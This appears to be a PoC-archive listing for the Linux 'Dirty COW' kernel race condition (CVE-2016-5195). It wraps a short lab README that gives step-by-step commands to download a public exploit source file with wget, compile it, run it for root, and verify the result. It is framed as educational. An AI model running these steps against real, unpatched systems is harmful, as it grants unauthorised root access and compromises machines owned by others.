Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2016-5195 PoC — Linux kernel 竞争条件问题漏洞

Source
Associated Vulnerability
Title: Linux kernel 竞争条件问题漏洞 (CVE-2016-5195)
Description:Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
Description
Linux privilege escalation using Dirty COW exploit (CVE-2016-5195).
Readme
# Linux Privilege Escalation (Dirty COW – CVE-2016-5195)

##  Project Overview
This project demonstrates privilege escalation on a vulnerable Linux kernel using the **Dirty COW exploit (CVE-2016-5195)**.  
By exploiting a race condition in the kernel’s memory handling, a normal user was able to escalate privileges to **root access**.  

---

##  Tools & Environment
- Vulnerable Linux VM (e.g., Metasploitable2 or custom kernel)  
- Dirty COW exploit (C source code)  
- GCC (GNU Compiler Collection)  

---

##  Steps & Methodology

 **1.Check kernel version (confirm vulnerability):**
      uname -r
 
 **2.Download Dirty COW exploit code:**
      wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c -O dirty.c
 
 **3.Compile the exploit:**
      gcc -pthread dirty.c -o dirty -lcrypt

 **4.Execute the exploit to escalate privileges:**
      ./dirty

 **5.Verify root access:**
      whoami
      id

   **Learning Outcomes**

         Practical experience in Linux privilege escalation.

         Understanding kernel-level vulnerabilities and exploitation.

         Importance of regular patching & kernel hardening to defend against such attacks.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →